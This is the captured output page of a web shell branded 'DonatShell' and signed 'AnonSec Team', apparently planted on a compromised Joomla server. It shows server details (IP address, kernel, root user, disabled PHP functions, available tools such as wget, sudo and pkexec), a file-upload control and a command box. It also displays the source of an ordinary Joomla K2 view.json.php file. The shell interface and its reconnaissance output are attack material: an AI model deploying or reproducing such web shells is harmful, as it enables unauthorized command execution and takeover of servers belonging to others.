%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/administrator/components/com_k2/views/item/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/administrator/components/com_k2/views/item/view.json.php
<?php
/**
 * @version     2.6.x
 * @package     K2
 * @author      JoomlaWorks http://www.joomlaworks.net
 * @copyright   Copyright (c) 2006 - 2014 JoomlaWorks Ltd. All rights reserved.
 * @license     GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.view');

class K2ViewItem extends K2View
{

    function display($tpl = null)
    {

        $mainframe = JFactory::getApplication();
        $user = JFactory::getUser();
        $document = JFactory::getDocument();
        if (K2_JVERSION == '15')
        {
            $document->setMimeEncoding('application/json');
            $document->setType('json');
        }
        $params = K2HelperUtilities::getParams('com_k2');
        $view = JRequest::getWord('view');
        $task = JRequest::getWord('task');

        $db = JFactory::getDBO();
        $jnow = JFactory::getDate();
        $now =  K2_JVERSION == '15'?$jnow->toMySQL():$jnow->toSql();
        $nullDate = $db->getNullDate();

        // Get item
        $model = $this->getModel();
        $item = $model->getData();

        // Does the item exists?
        if (!is_object($item) || !$item->id)
        {
            JError::raiseError(404, JText::_('K2_ITEM_NOT_FOUND'));
        }

        // Override some params because we want to show all elements in JSON
        $itemParams = class_exists('JParameter') ? new JParameter($item->params) : new JRegistry($item->params);
        $itemParams->set('itemIntroText', true);
        $itemParams->set('itemFullText', true);
        $itemParams->set('itemTags', true);
        $itemParams->set('itemExtraFields', true);
        $itemParams->set('itemAttachments', true);
        $itemParams->set('itemRating', true);
        $itemParams->set('itemAuthor', true);
        $itemParams->set('itemImageGallery', true);
        $itemParams->set('itemVideo', true);
        $item->params = $itemParams->toString();

        // Prepare item
        $item = $model->prepareItem($item, $view, $task);

        // Plugins
        $item = $model->execPlugins($item, $view, $task);

        // Access check
        if (K2_JVERSION != '15')
        {
            if (!in_array($item->access, $user->getAuthorisedViewLevels()) || !in_array($item->category->access, $user->getAuthorisedViewLevels()))
            {
               JError::raiseError(403, JText::_('K2_ALERTNOTAUTH'));
            }
        }
        else
        {
            if ($item->access > $user->get('aid', 0) || $item->category->access > $user->get('aid', 0))
            {
                JError::raiseError(403, JText::_('K2_ALERTNOTAUTH'));
            }
        }

        // Published check
        if (!$item->published || $item->trash)
        {
            JError::raiseError(404, JText::_('K2_ITEM_NOT_FOUND'));
        }

        if ($item->publish_up != $nullDate && $item->publish_up > $now)
        {
            JError::raiseError(404, JText::_('K2_ITEM_NOT_FOUND'));
        }

        if ($item->publish_down != $nullDate && $item->publish_down < $now)
        {
            JError::raiseError(404, JText::_('K2_ITEM_NOT_FOUND'));
        }

        if (!$item->category->published || $item->category->trash)
        {
            JError::raiseError(404, JText::_('K2_ITEM_NOT_FOUND'));
        }

        // Set default image
        K2HelperUtilities::setDefaultImage($item, $view);

        // Build the output object
        $row = $model->prepareJSONItem($item);

        // Output
        $response = new stdClass();

        // Site
        $response->site = new stdClass();
        $uri = JURI::getInstance();
        $response->site->url = $uri->toString(array('scheme', 'host', 'port'));
        $config = JFactory::getConfig();
        $response->site->name = K2_JVERSION == '30' ? $config->get('sitename') : $config->getValue('config.sitename');

        $response->item = $row;

        $json = json_encode($response);
        $callback = JRequest::getCmd('callback');
        if ($callback)
        {
            $document->setMimeEncoding('application/javascript');
            echo $callback.'('.$json.')';
        }
        else
        {
            echo $json;
        }
    }

}

Anon7 - 2022
AnonSec Team